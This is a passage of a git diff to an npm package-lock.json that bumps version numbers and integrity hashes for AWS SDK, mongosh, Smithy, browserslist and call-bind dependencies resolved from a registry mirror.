"@smithy/types": "^2.9.1", "tslib": "^2.5.0" }, @@ -530,11 +531,11 @@ } }, "node_modules/@aws-sdk/middleware-recursion-detection": { - "version": "3.502.0", - "resolved": "https://registry.npmmirror.com/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.502.0.tgz", - "integrity": "sha512-hvbyGJbxeuezxOu8VfFmcV4ql1hKXLxHTe5FNYfEBat2KaZXVhc1Hg+4TvB06/53p+E8J99Afmumkqbxs2esUA==", + "version": "3.515.0", + "resolved": "https://registry.npmmirror.com/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.515.0.tgz", + "integrity": "sha512-dokHLbTV3IHRIBrw9mGoxcNTnQsjlm7TpkJhPdGT9T4Mq399EyQo51u6IsVMm07RXLl2Zw7u+u9p+qWBFzmFRA==", "dependencies": { - "@aws-sdk/types": "3.502.0", + "@aws-sdk/types": "3.515.0", "@smithy/protocol-http": "^3.1.1", "@smithy/types": "^2.9.1", "tslib": "^2.5.0" @@ -543,30 +544,13 @@ "node": ">=14.0.0" } }, - "node_modules/@aws-sdk/middleware-signing": { - "version": "3.502.0", - "resolved": "https://registry.npmmirror.com/@aws-sdk/middleware-signing/-/middleware-signing-3.502.0.tgz", - "integrity": "sha512-4hF08vSzJ7L6sB+393gOFj3s2N6nLusYS0XrMW6wYNFU10IDdbf8Z3TZ7gysDJJHEGQPmTAesPEDBsasGWcMxg==", - "dependencies": { - "@aws-sdk/types": "3.502.0", - "@smithy/property-provider": "^2.1.1", - "@smithy/protocol-http": "^3.1.1", - "@smithy/signature-v4": "^2.1.1", - "@smithy/types": "^2.9.1", - "@smithy/util-middleware": "^2.1.1", - "tslib": "^2.5.0" - }, - "engines": { - "node": ">=14.0.0" - } - }, "node_modules/@aws-sdk/middleware-user-agent": { - "version": "3.502.0", - "resolved": "https://registry.npmmirror.com/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.502.0.tgz", - "integrity": "sha512-TxbBZbRiXPH0AUxegqiNd9aM9zNSbfjtBs5MEfcBsweeT/B2O7K1EjP9+CkB8Xmk/5FLKhAKLr19b1TNoE27rw==", + "version": "3.515.0", + "resolved": "https://registry.npmmirror.com/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.515.0.tgz", + "integrity": "sha512-nOqZjGA/GkjuJ5fUshec9Fv6HFd7ovOTxMJbw3MfAhqXuVZ6dKF41lpVJ4imNsgyFt3shUg9WDY8zGFjlYMB3g==", "dependencies": { - "@aws-sdk/types": "3.502.0", - "@aws-sdk/util-endpoints": "3.502.0", + "@aws-sdk/types": "3.515.0", + "@aws-sdk/util-endpoints": "3.515.0", "@smithy/protocol-http": "^3.1.1", "@smithy/types": "^2.9.1", "tslib": "^2.5.0" @@ -576,11 +560,11 @@ } }, "node_modules/@aws-sdk/region-config-resolver": { - "version": "3.502.0", - "resolved": "https://registry.npmmirror.com/@aws-sdk/region-config-resolver/-/region-config-resolver-3.502.0.tgz", - "integrity": "sha512-mxmsX2AGgnSM+Sah7mcQCIneOsJQNiLX0COwEttuf8eO+6cLMAZvVudH3BnWTfea4/A9nuri9DLCqBvEmPrilg==", + "version": "3.515.0", + "resolved": "https://registry.npmmirror.com/@aws-sdk/region-config-resolver/-/region-config-resolver-3.515.0.tgz", + "integrity": "sha512-RIRx9loxMgEAc/r1wPfnfShOuzn4RBi8pPPv6/jhhITEeMnJe6enAh2k5y9DdiVDDgCWZgVFSv0YkAIfzAFsnQ==", "dependencies": { - "@aws-sdk/types": "3.502.0", + "@aws-sdk/types": "3.515.0", "@smithy/node-config-provider": "^2.2.1", "@smithy/types": "^2.9.1", "@smithy/util-config-provider": "^2.2.1", @@ -592,12 +576,12 @@ } }, "node_modules/@aws-sdk/token-providers": { - "version": "3.504.0", - "resolved": "https://registry.npmmirror.com/@aws-sdk/token-providers/-/token-providers-3.504.0.tgz", - "integrity": "sha512-YIJWWsZi2ClUiILS1uh5L6VjmCUSTI6KKMuL9DkGjYqJ0aI6M8bd8fT9Wm7QmXCyjcArTgr/Atkhia4T7oKvzQ==", + "version": "3.515.0", + "resolved": "https://registry.npmmirror.com/@aws-sdk/token-providers/-/token-providers-3.515.0.tgz", + "integrity": "sha512-MQuf04rIcTXqwDzmyHSpFPF1fKEzRl64oXtCRUF3ddxTdK6wxXkePfK6wNCuL+GEbEcJAoCtIGIRpzGPJvQjHA==", "dependencies": { - "@aws-sdk/client-sso-oidc": "3.504.0", - "@aws-sdk/types": "3.502.0", + "@aws-sdk/client-sso-oidc": "3.515.0", + "@aws-sdk/types": "3.515.0", "@smithy/property-provider": "^2.1.1", "@smithy/shared-ini-file-loader": "^2.3.1", "@smithy/types": "^2.9.1", @@ -608,9 +592,9 @@ } }, "node_modules/@aws-sdk/types": { - "version": "3.502.0", - "resolved": "https://registry.npmmirror.com/@aws-sdk/types/-/types-3.502.0.tgz", - "integrity": "sha512-M0DSPYe/gXhwD2QHgoukaZv5oDxhW3FfvYIrJptyqUq3OnPJBcDbihHjrE0PBtfh/9kgMZT60/fQ2NVFANfa2g==", + "version": "3.515.0", + "resolved": "https://registry.npmmirror.com/@aws-sdk/types/-/types-3.515.0.tgz", + "integrity": "sha512-B3gUpiMlpT6ERaLvZZ61D0RyrQPsFYDkCncLPVkZOKkCOoFU46zi1o6T5JcYiz8vkx1q9RGloQ5exh79s5pU/w==", "dependencies": { "@smithy/types": "^2.9.1", "tslib": "^2.5.0" @@ -620,11 +604,11 @@ } }, "node_modules/@aws-sdk/util-endpoints": { - "version": "3.502.0", - "resolved": "https://registry.npmmirror.com/@aws-sdk/util-endpoints/-/util-endpoints-3.502.0.tgz", - "integrity": "sha512-6LKFlJPp2J24r1Kpfoz5ESQn+1v5fEjDB3mtUKRdpwarhm3syu7HbKlHCF3KbcCOyahobvLvhoedT78rJFEeeg==", + "version": "3.515.0", + "resolved": "https://registry.npmmirror.com/@aws-sdk/util-endpoints/-/util-endpoints-3.515.0.tgz", + "integrity": "sha512-UJi+jdwcGFV/F7d3+e2aQn5yZOVpDiAgfgNhPnEtgV0WozJ5/ZUeZBgWvSc/K415N4A4D/9cbBc7+I+35qzcDQ==", "dependencies": { - "@aws-sdk/types": "3.502.0", + "@aws-sdk/types": "3.515.0", "@smithy/types": "^2.9.1", "@smithy/util-endpoints": "^1.1.1", "tslib": "^2.5.0" @@ -645,22 +629,22 @@ } }, "node_modules/@aws-sdk/util-user-agent-browser": { - "version": "3.502.0", - "resolved": "https://registry.npmmirror.com/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.502.0.tgz", - "integrity": "sha512-v8gKyCs2obXoIkLETAeEQ3AM+QmhHhst9xbM1cJtKUGsRlVIak/XyyD+kVE6kmMm1cjfudHpHKABWk9apQcIZQ==", + "version": "3.515.0", + "resolved": "https://registry.npmmirror.com/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.515.0.tgz", + "integrity": "sha512-pTWQb0JCafTmLHLDv3Qqs/nAAJghcPdGQIBpsCStb0YEzg3At/dOi2AIQ683yYnXmeOxLXJDzmlsovfVObJScw==", "dependencies": { - "@aws-sdk/types": "3.502.0", + "@aws-sdk/types": "3.515.0", "@smithy/types": "^2.9.1", "bowser": "^2.11.0", "tslib": "^2.5.0" } }, "node_modules/@aws-sdk/util-user-agent-node": { - "version": "3.502.0", - "resolved": "https://registry.npmmirror.com/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.502.0.tgz", - "integrity": "sha512-9RjxpkGZKbTdl96tIJvAo+vZoz4P/cQh36SBUt9xfRfW0BtsaLyvSrvlR5wyUYhvRcC12Axqh/8JtnAPq//+Vw==", + "version": "3.515.0", + "resolved": "https://registry.npmmirror.com/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.515.0.tgz", + "integrity": "sha512-A/KJ+/HTohHyVXLH+t/bO0Z2mPrQgELbQO8tX+B2nElo8uklj70r5cT7F8ETsI9oOy+HDVpiL5/v45ZgpUOiPg==", "dependencies": { - "@aws-sdk/types": "3.502.0", + "@aws-sdk/types": "3.515.0", "@smithy/node-config-provider": "^2.2.1", "@smithy/types": "^2.9.1", "tslib": "^2.5.0" @@ -1076,9 +1060,9 @@ } }, "node_modules/@jridgewell/resolve-uri": { - "version": "3.1.1", - "resolved": "https://registry.npmmirror.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.1.tgz", - "integrity": "sha512-dSYZh7HhCDtCKm4QakX0xFpsRDqjjtZf/kjI/v3T3Nwt5r8/qz/M19F9ySyOqU94SXBmeG9ttTul+YnR4LOxFA==", + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", "engines": { "node": ">=6.0.0" } @@ -1125,18 +1109,17 @@ } }, "node_modules/@mongodb-js/mongodb-constants": { - "version": "0.7.2", - "resolved": "https://registry.npmmirror.com/@mongodb-js/mongodb-constants/-/mongodb-constants-0.7.2.tgz", - "integrity": "sha512-ElaVCCQo80vQTX865RXbJoITaB6kHJmOWqv0ANO5I/S9nP5LaIEfA2QQuBmE4cHOmb3ZGfzLfyCCfwbeSBwE6w==", + "version": "0.8.10", + "resolved": "https://registry.npmmirror.com/@mongodb-js/mongodb-constants/-/mongodb-constants-0.8.10.tgz", + "integrity": "sha512-tLXBNzLzk7KD0UsZaSpAg7bftgiDRVYFjc3zXT+828ENtg7TIvahkzJzoD7K6SwnFjPp8PZ/R36rpEL3zFq9yg==", "dependencies": { - "dedent": "^1.5.1", "semver": "^7.5.4" } }, "node_modules/@mongodb-js/oidc-plugin": { - "version": "0.3.0", - "resolved": "https://registry.npmmirror.com/@mongodb-js/oidc-plugin/-/oidc-plugin-0.3.0.tgz", - "integrity": "sha512-XIriu5WYwBJWiHFpIpiXz7FkeA0+jUyGB4KBs6v0U8JGlkkoAJY9lWuzBt0surjcl/dBWvpsZYun6492fMb2kw==", + "version": "0.3.1", + "resolved": "https://registry.npmmirror.com/@mongodb-js/oidc-plugin/-/oidc-plugin-0.3.1.tgz", + "integrity": "sha512-oEM7/AVyjH8C63WM4Q0JAFVA/Q77ZzlFXJCWPn/rIbDk3a4uVLFC9L8OlH8D0bawdI1fpVii2tsDo6msDtoovQ==", "dependencies": { "abort-controller": "^3.0.0", "express": "^4.18.2", @@ -1156,12 +1139,12 @@ } }, "node_modules/@mongosh/arg-parser": { - "version": "2.1.3", - "resolved": "https://registry.npmmirror.com/@mongosh/arg-parser/-/arg-parser-2.1.3.tgz", - "integrity": "sha512-EcxL04M21mAoHonYHN3l+kurOOFqdCuAU9J3Bv70O7YqVmsI7cfOaZEyGQoAQCj2FkolzfTQ73xCGvl4q0pKSg==", + "version": "2.1.5", + "resolved": "https://registry.npmmirror.com/@mongosh/arg-parser/-/arg-parser-2.1.5.tgz", + "integrity": "sha512-E6IlJhxpxVdb0VWrgrVJeMjSHwEhoFCMGLE487/j0DXgWDm6odui48+qcE+5xvGPcqy1Ka4P9wC7msz4xTn7Rg==", "dependencies": { - "@mongosh/errors": "2.1.3", - "@mongosh/i18n": "2.1.3", + "@mongosh/errors": "2.1.5", + "@mongosh/i18n": "2.1.5", "mongodb-connection-string-url": "^3.0.0" }, "engines": { @@ -1169,9 +1152,9 @@ } }, "node_modules/@mongosh/async-rewriter2": { - "version": "2.1.3", - "resolved": "https://registry.npmmirror.com/@mongosh/async-rewriter2/-/async-rewriter2-2.1.3.tgz", - "integrity": "sha512-ySJeI69E7E33wvpgiR1IrYi+kU7F2pkLmvpOrnwKExWdHgpw48LW2o2WrjQGfZBIGeTfgvby30+XbgA/kxj9NQ==", + "version": "2.1.5", + "resolved": "https://registry.npmmirror.com/@mongosh/async-rewriter2/-/async-rewriter2-2.1.5.tgz", + "integrity": "sha512-gq5OX1STb9NkKO98k+edsdBkEySHlmZOdqJljvJMYEiCl3cw0wy/AUqPRBVAoqFPN9eTzOA3U9ps/fX27aPPtg==", "dependencies": { "@babel/core": "^7.22.8", "@babel/plugin-transform-destructuring": "^7.22.5", @@ -1188,12 +1171,12 @@ } }, "node_modules/@mongosh/autocomplete": { - "version": "2.1.3", - "resolved": "https://registry.npmmirror.com/@mongosh/autocomplete/-/autocomplete-2.1.3.tgz", - "integrity": "sha512-WRvq9u70wyQeC7o6sgmZYGOTJPCi13XjnvW1E7yrw1jJke95l2QD4tb3kT/gRXUvpYfsulImwp4v2feqeaP5Yg==", + "version": "2.1.5", + "resolved": "https://registry.npmmirror.com/@mongosh/autocomplete/-/autocomplete-2.1.5.tgz", + "integrity": "sha512-qOg9PjPp5fIRdUGT08xJS+0IPmIi2lOYTW1HIrdo7y8U61aS/ZlhrZMd94/b8yO7FzUsAP3rVwwxEVtk87MFDA==", "dependencies": { - "@mongodb-js/mongodb-constants": "^0.7.1", - "@mongosh/shell-api": "2.1.3", + "@mongodb-js/mongodb-constants": "^0.8.10", + "@mongosh/shell-api": "2.1.5", "semver": "^7.5.4" }, "engines": { @@ -1201,24 +1184,24 @@ } }, "node_modules/@mongosh/cli-repl": { - "version": "2.1.3", - "resolved": "https://registry.npmmirror.com/@mongosh/cli-repl/-/cli-repl-2.1.3.tgz", - "integrity": "sha512-qGKqeLFvMLGt9NIF9ukE+N0OWBlycUsXl3bSCsQ/g9Oeeke2/4Zf9OTSwLA1bSK+QXBaeQzMtKwuwrXM5jXSTA==", - "dependencies": { - "@mongosh/arg-parser": "2.1.3", - "@mongosh/autocomplete": "2.1.3", - "@mongosh/editor": "2.1.3", - "@mongosh/errors": "2.1.3", - "@mongosh/history": "2.1.3", - "@mongosh/i18n": "2.1.3", - "@mongosh/js-multiline-to-singleline": "2.1.3", - "@mongosh/logging": "2.1.3", - "@mongosh/service-provider-core": "2.1.3", - "@mongosh/service-provider-server": "2.1.3", - "@mongosh/shell-api": "2.1.3", - "@mongosh/shell-evaluator": "2.1.3", - "@mongosh/snippet-manager": "2.1.3", - "@mongosh/types": "2.1.3", + "version": "2.1.5", + "resolved": "https://registry.npmmirror.com/@mongosh/cli-repl/-/cli-repl-2.1.5.tgz", + "integrity": "sha512-xN3W/CCm4GRTjMGWkSjOMqJHN5L8/JjeqUDM7SYNbz6Yb8PwRC9nG6lca/RtcjKbeUSyy4+LTEws/o77A/gV7A==", + "dependencies": { + "@mongosh/arg-parser": "2.1.5", + "@mongosh/autocomplete": "2.1.5", + "@mongosh/editor": "2.1.5", + "@mongosh/errors": "2.1.5", + "@mongosh/history": "2.1.5", + "@mongosh/i18n": "2.1.5", + "@mongosh/js-multiline-to-singleline": "2.1.5", + "@mongosh/logging": "2.1.5", + "@mongosh/service-provider-core": "2.1.5", + "@mongosh/service-provider-server": "2.1.5", + "@mongosh/shell-api": "2.1.5", + "@mongosh/shell-evaluator": "2.1.5", + "@mongosh/snippet-manager": "2.1.5", + "@mongosh/types": "2.1.5", "analytics-node": "^5.1.2", "ansi-escape-sequences": "^5.1.2", "askcharacter": "^1.0.0", @@ -1248,15 +1231,15 @@ } }, "node_modules/@mongosh/editor": { - "version": "2.1.3", - "resolved": "https://registry.npmmirror.com/@mongosh/editor/-/editor-2.1.3.tgz", - "integrity": "sha512-Dcr0UNcONp+4rGcVkgBtAvxjOZm+qjaHWLsa+/evHoE5APep1pfDM5LL59V+xz9zQMHrrlf62F90zaSeM2Yb7Q==", - "dependencies": { - "@mongosh/js-multiline-to-singleline": "2.1.3", - "@mongosh/service-provider-core": "2.1.3", - "@mongosh/shell-api": "2.1.3", - "@mongosh/shell-evaluator": "2.1.3", - "@mongosh/types": "2.1.3", + "version": "2.1.5", + "resolved": "https://registry.npmmirror.com/@mongosh/editor/-/editor-2.1.5.tgz", + "integrity": "sha512-ORcMDyvKHMPBk/eQ0dVHeRpsBsRz7wFwLoJWe/G5J7AfCdNBOoEN3kUVvR4ZfisXMfwVCt/FcdmlfugGhBcHOw==", + "dependencies": { + "@mongosh/js-multiline-to-singleline": "2.1.5", + "@mongosh/service-provider-core": "2.1.5", + "@mongosh/shell-api": "2.1.5", + "@mongosh/shell-evaluator": "2.1.5", + "@mongosh/types": "2.1.5", "js-beautify": "^1.14.0" }, "engines": { @@ -1264,17 +1247,17 @@ } }, "node_modules/@mongosh/errors": { - "version": "2.1.3", - "resolved": "https://registry.npmmirror.com/@mongosh/errors/-/errors-2.1.3.tgz", - "integrity": "sha512-+s1upI1R0zCcMQigIohrzFjnSD+wFC7amJqRQf64bFtXF0+y6ylfp1E5mNSGEZjbzEdrbmukEhJs68SbWIEwWA==", + "version": "2.1.5", + "resolved": "https://registry.npmmirror.com/@mongosh/errors/-/errors-2.1.5.tgz", + "integrity": "sha512-ieewW766BnNZKBanlaKx+2B9r2wzDdBnnVxSsMbgsUz3qgztLp8YpZ6yM9t64tv55+JWlqEhFJdLQ1AymOXc1Q==", "engines": { "node": ">=14.15.1" } }, "node_modules/@mongosh/history": { - "version": "2.1.3", - "resolved": "https://registry.npmmirror.com/@mongosh/history/-/history-2.1.3.tgz", - "integrity": "sha512-oJT6ilvwZttmIzOub9ke7VBLKXBI48le3RrftIgGQ/MfVxzFsS3i+STGB24u2B+F8oh1DIPSEPCqED3dZYvAKA==", + "version": "2.1.5", + "resolved": "https://registry.npmmirror.com/@mongosh/history/-/history-2.1.5.tgz", + "integrity": "sha512-cwsoxy4m+JT3Ey2XXSUkjOOw8oEcasLdPSrpKw/y3Z0KERcSH6h1Z4bxYRljTxW7Du7HeACzGhjEX5+OQ+cGVA==", "dependencies": { "mongodb-connection-string-url": "^3.0.0", "mongodb-redact": "^0.2.2" @@ -1284,11 +1267,11 @@ } }, "node_modules/@mongosh/i18n": { - "version": "2.1.3", - "resolved": "https://registry.npmmirror.com/@mongosh/i18n/-/i18n-2.1.3.tgz", - "integrity": "sha512-gJ7fr21al4cTie27qITk2DpoDVfow/WTLghgVnSa1t/iBH0la0kJbei20cURHaG8OKIB3a+iSdcrIkK2TGlJGA==", + "version": "2.1.5", + "resolved": "https://registry.npmmirror.com/@mongosh/i18n/-/i18n-2.1.5.tgz", + "integrity": "sha512-V/NPDFeJv2Z5KeMTg1EjitauOol3QMFlphJp1NJr+oNGY5D0coDtw9Ofo8lCPhl6QsNYgPcavS0g8WmIrL+fTw==", "dependencies": { - "@mongosh/errors": "2.1.3", + "@mongosh/errors": "2.1.5", "mustache": "^4.0.0" }, "engines": { @@ -1296,9 +1279,9 @@ } }, "node_modules/@mongosh/js-multiline-to-singleline": { - "version": "2.1.3", - "resolved": "https://registry.npmmirror.com/@mongosh/js-multiline-to-singleline/-/js-multiline-to-singleline-2.1.3.tgz", - "integrity": "sha512-kNHsE28Qiosv7B7CZ/D80p4s97Myz39LVrVs73wkM2sNOYyZ2wEyVm8Pi6l3FrLgzzwHDkbb0nLNpQWSoRonvQ==", + "version": "2.1.5", + "resolved": "https://registry.npmmirror.com/@mongosh/js-multiline-to-singleline/-/js-multiline-to-singleline-2.1.5.tgz", + "integrity": "sha512-xXiTM3bO3SHJkw7F6F+lgHSn77E1qxzQ5+RatrMNEJQfCefISCBMy1aRdmPGJxIg9x3NNOysAKka/jtrfNW/Fw==", "dependencies": { "@babel/core": "^7.16.12", "@babel/types": "^7.21.2" @@ -1308,14 +1291,14 @@ } }, "node_modules/@mongosh/logging": { - "version": "2.1.3", - "resolved": "https://registry.npmmirror.com/@mongosh/logging/-/logging-2.1.3.tgz", - "integrity": "sha512-eCpWljCh7e9jNgeUiRqc4TcfQK0HUYBX/iosQDDDNvZZAdLsfuTOp2NF2LN4gwoaWp5ICgFqB0lCA0m9mbQn/g==", + "version": "2.1.5", + "resolved": "https://registry.npmmirror.com/@mongosh/logging/-/logging-2.1.5.tgz", + "integrity": "sha512-Vob9Z4dcm8ZUyhmMUhHZOiZ0XE96KGWoTkelxA3aghMlU2MZSce9s4a2BOFKxJ+6jOTkf+X5cofwAJ9WK6xsAA==", "dependencies": { "@mongodb-js/devtools-connect": "^2.4.3", - "@mongosh/errors": "2.1.3", - "@mongosh/history": "2.1.3", - "@mongosh/types": "2.1.3", + "@mongosh/errors": "2.1.5", + "@mongosh/history": "2.1.5", + "@mongosh/types": "2.1.5", "mongodb-log-writer": "^1.4.0", "mongodb-redact": "^0.2.2" }, @@ -1324,12 +1307,12 @@ } }, "node_modules/@mongosh/service-provider-core": { - "version": "2.1.3", - "resolved": "https://registry.npmmirror.com/@mongosh/service-provider-core/-/service-provider-core-2.1.3.tgz", - "integrity": "sha512-dEj6ikteC2QGxuaY6/NFotriVCRVTaY/PcFSqCL/ssg26KTlpXqd2NqNh7UPHzlwEO1aM6Bhw/PfS3uP9l0tBg==", + "version": "2.1.5", + "resolved": "https://registry.npmmirror.com/@mongosh/service-provider-core/-/service-provider-core-2.1.5.tgz", + "integrity": "sha512-4ZNtaTdhXuZqZS0aMHFLOGIQMy327AeYhaDWyYC3qK5oS3fdPRY8Th4PZGwY+6BCZWuUnRX4gltxZnPdVIZkIw==", "dependencies": { "@aws-sdk/credential-providers": "^3.347.1", - "@mongosh/errors": "2.1.3", + "@mongosh/errors": "2.1.5", "bson": "^6.2.0", "mongodb": "^6.3.0", "mongodb-build-info": "^1.7.1" @@ -1342,20 +1325,20 @@ } }, "node_modules/@mongosh/service-provider-server": { - "version": "2.1.3", - "resolved": "https://registry.npmmirror.com/@mongosh/service-provider-server/-/service-provider-server-2.1.3.tgz", - "integrity": "sha512-bN1CGAlQnLVb2JCWIm4TNt2+z5/4YWoGbS5AKY8uuisM49VWl21BM74eDTbym75tXbwu/2d5vyf20cHJeAVMGA==", + "version": "2.1.5", + "resolved": "https://registry.npmmirror.com/@mongosh/service-provider-server/-/service-provider-server-2.1.5.tgz", + "integrity": "sha512-NHcep3YQBJl9+JsTuSWYJH14Wcnxkt5ZCunysdRwhZx9OZtJnci2quX4MuaJ7ycw4Nd6G2NmPcDOSEdptZQNpA==", "dependencies": { "@mongodb-js/devtools-connect": "^2.4.3", - "@mongodb-js/oidc-plugin": "^0.3.0", - "@mongosh/errors": "2.1.3", - "@mongosh/service-provider-core": "2.1.3", - "@mongosh/types": "2.1.3", + "@mongodb-js/oidc-plugin": "^0.3.1", + "@mongosh/errors": "2.1.5", + "@mongosh/service-provider-core": "2.1.5", + "@mongosh/types": "2.1.5", "@types/sinon-chai": "^3.2.4", "aws4": "^1.11.0", "mongodb": "^6.3.0", "mongodb-connection-string-url": "^3.0.0", - "socks": "^2.7.1" + "socks": "^2.7.3" }, "engines": { "node": ">=14.15.1" @@ -1366,15 +1349,15 @@ } }, "node_modules/@mongosh/shell-api": { - "version": "2.1.3", - "resolved": "https://registry.npmmirror.com/@mongosh/shell-api/-/shell-api-2.1.3.tgz", - "integrity": "sha512-zq+qM+6Xfx8GFF+wM8saGzRcwxRqKYGPolKO0gulEhenOLlNiOeotfe7khKeKTahW28QzCjC36gli5G2cV7tgQ==", - "dependencies": { - "@mongosh/arg-parser": "2.1.3", - "@mongosh/errors": "2.1.3", - "@mongosh/history": "2.1.3", - "@mongosh/i18n": "2.1.3", - "@mongosh/service-provider-core": "2.1.3", + "version": "2.1.5", + "resolved": "https://registry.npmmirror.com/@mongosh/shell-api/-/shell-api-2.1.5.tgz", + "integrity": "sha512-Cm2ThXSldpjRAL0o2un2Qkj5wheLZwnybHR5s8L0gqMfFobr7Mmr4xwmeHA14nDj5XY6xkYV5TOHEcxQ4TkPtg==", + "dependencies": { + "@mongosh/arg-parser": "2.1.5", + "@mongosh/errors": "2.1.5", + "@mongosh/history": "2.1.5", + "@mongosh/i18n": "2.1.5", + "@mongosh/service-provider-core": "2.1.5", "mongodb-redact": "^0.2.2" }, "engines": { @@ -1382,26 +1365,26 @@ } }, "node_modules/@mongosh/shell-evaluator": { - "version": "2.1.3", - "resolved": "https://registry.npmmirror.com/@mongosh/shell-evaluator/-/shell-evaluator-2.1.3.tgz", - "integrity": "sha512-+H+VrUmXtiF0aBLZZ2hAUyai5Cgm1FogyUDg0UE1LR7sboFTnEaHI7ReoLxabK/PoV56ZXjxByUgWAGVlTvQfA==", + "version": "2.1.5", + "resolved": "https://registry.npmmirror.com/@mongosh/shell-evaluator/-/shell-evaluator-2.1.5.tgz", + "integrity": "sha512-5o9kbxP+JqKXgqqCbNzNJswdhpy2+ZenMBFWQlSy9jHU10B/xZN9Tl/tiYSRmAYY47p+qKozo5fxWfA5wGCqOg==", "dependencies": { - "@mongosh/async-rewriter2": "2.1.3", - "@mongosh/history": "2.1.3", - "@mongosh/shell-api": "2.1.3" + "@mongosh/async-rewriter2": "2.1.5", + "@mongosh/history": "2.1.5", + "@mongosh/shell-api": "2.1.5" }, "engines": { "node": ">=14.15.1" } }, "node_modules/@mongosh/snippet-manager": { - "version": "2.1.3", - "resolved": "https://registry.npmmirror.com/@mongosh/snippet-manager/-/snippet-manager-2.1.3.tgz", - "integrity": "sha512-3OFSWP4A29gMKwlzOLHrwEvJRH2i2EFPTagi2edzZGnHnj+56kqOxBW1M9nPtFVeoWrb0j+UcjXZ7q5IDYuL1A==", + "version": "2.1.5", + "resolved": "https://registry.npmmirror.com/@mongosh/snippet-manager/-/snippet-manager-2.1.5.tgz", + "integrity": "sha512-2UmraDUqyNIU2TwUAflH2VxhHQOwRwncplQJ9CqMOpA/JBzBguOUB41bLDx3BkhkjoSjazxWkFb9cgKkbGENmA==", "dependencies": { - "@mongosh/errors": "2.1.3", - "@mongosh/shell-api": "2.1.3", - "@mongosh/types": "2.1.3", + "@mongosh/errors": "2.1.5", + "@mongosh/shell-api": "2.1.5", + "@mongosh/types": "2.1.5", "bson": "^6.2.0", "cross-spawn": "^7.0.3", "escape-string-regexp": "^4.0.0", @@ -1414,9 +1397,9 @@ } }, "node_modules/@mongosh/types": { - "version": "2.1.3", - "resolved": "https://registry.npmmirror.com/@mongosh/types/-/types-2.1.3.tgz", - "integrity": "sha512-2E3lkUp5DM52KIZSSkgtxPQbb7zH8w3jvE1gvX7lx2EvrMcHVII52RL91k9JHFK/wL+dcqX83Etl9nLORWAjog==", + "version": "2.1.5", + "resolved": "https://registry.npmmirror.com/@mongosh/types/-/types-2.1.5.tgz", + "integrity": "sha512-bw1CZARQQVCwAzwpiXnf3RpmctfMKguopFAid8Ok1ZxF39PiO1UW5vN4yqHAeZo+7Lji67mIuwMRS0qJa9Fk/A==", "dependencies": { "@mongodb-js/devtools-connect": "^2.4.3" }, @@ -1493,9 +1476,9 @@ } }, "node_modules/@smithy/core": { - "version": "1.3.1", - "resolved": "https://registry.npmmirror.com/@smithy/core/-/core-1.3.1.tgz", - "integrity": "sha512-tf+NIu9FkOh312b6M9G4D68is4Xr7qptzaZGZUREELF8ysE1yLKphqt7nsomjKZVwW7WE5pDDex9idowNGRQ/Q==", + "version": "1.3.2", + "resolved": "https://registry.npmmirror.com/@smithy/core/-/core-1.3.2.tgz", + "integrity": "sha512-tYDmTp0f2TZVE18jAOH1PnmkngLQ+dOGUlMd1u67s87ieueNeyqhja6z/Z4MxhybEiXKOWFOmGjfTZWFxljwJw==", "dependencies": { "@smithy/middleware-endpoint": "^2.4.1", "@smithy/middleware-retry": "^2.1.1", @@ -1881,9 +1864,9 @@ } }, "node_modules/@smithy/util-defaults-mode-node": { - "version": "2.1.1", - "resolved": "https://registry.npmmirror.com/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-2.1.1.tgz", - "integrity": "sha512-tYVrc+w+jSBfBd267KDnvSGOh4NMz+wVH7v4CClDbkdPfnjvImBZsOURncT5jsFwR9KCuDyPoSZq4Pa6+eCUrA==", + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-2.2.0.tgz", + "integrity": "sha512-iFJp/N4EtkanFpBUtSrrIbtOIBf69KNuve03ic1afhJ9/korDxdM0c6cCH4Ehj/smI9pDCfVv+bqT3xZjF2WaA==", "dependencies": { "@smithy/config-resolver": "^2.1.1", "@smithy/credential-provider-imds": "^2.2.1", @@ -2375,12 +2358,12 @@ } }, "node_modules/browserslist": { - "version": "4.22.3", - "resolved": "https://registry.npmmirror.com/browserslist/-/browserslist-4.22.3.tgz", - "integrity": "sha512-UAp55yfwNv0klWNapjs/ktHoguxuQNGnOzxYmfnXIS+8AsRDZkSDxg7R1AX3GKzn078SBI5dzwzj/Yx0Or0e3A==", + "version": "4.23.0", + "resolved": "https://registry.npmmirror.com/browserslist/-/browserslist-4.23.0.tgz", + "integrity": "sha512-QW8HiM1shhT2GuzkvklfjcKDiWFXHOeFCIA/huJPwHsslwcydgk7X+z2zXpEijP98UCY7HbubZt5J2Zgvf0CaQ==", "dependencies": { - "caniuse-lite": "^1.0.30001580", - "electron-to-chromium": "^1.4.648", + "caniuse-lite": "^1.0.30001587", + "electron-to-chromium": "^1.4.668", "node-releases": "^2.0.14", "update-browserslist-db": "^1.0.13" }, @@ -2429,19 +2412,24 @@ } }, "node_modules/call-bind": { - "version": "1.0.5", - "resolved": "https://registry.npmmirror.com/call-bind/-/call-bind-1.0.5.tgz", - "integrity": "sha512-C3nQxfFZxFRVoJoGKKI8y3MOEo129NQ+FgQ08iye+Mk4zNZZGdjfs06bVTr+DBSlA66Q2VEcMki/cUCP4SercQ==", + "version": "1.0.7", + "resolved": "https://registry.npmmirror.com/call-bind/-/call-bind-1.0.7.tgz", + "integrity": "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==", "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", "function-bind": "^1.1.2", - "get-intrinsic": "^1.2.1", - "set-function-length": "^1.1.1" + "get-intrinsic": 